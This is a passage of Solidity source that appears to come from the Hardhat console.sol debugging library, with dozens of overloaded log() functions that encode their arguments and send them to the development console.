_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { 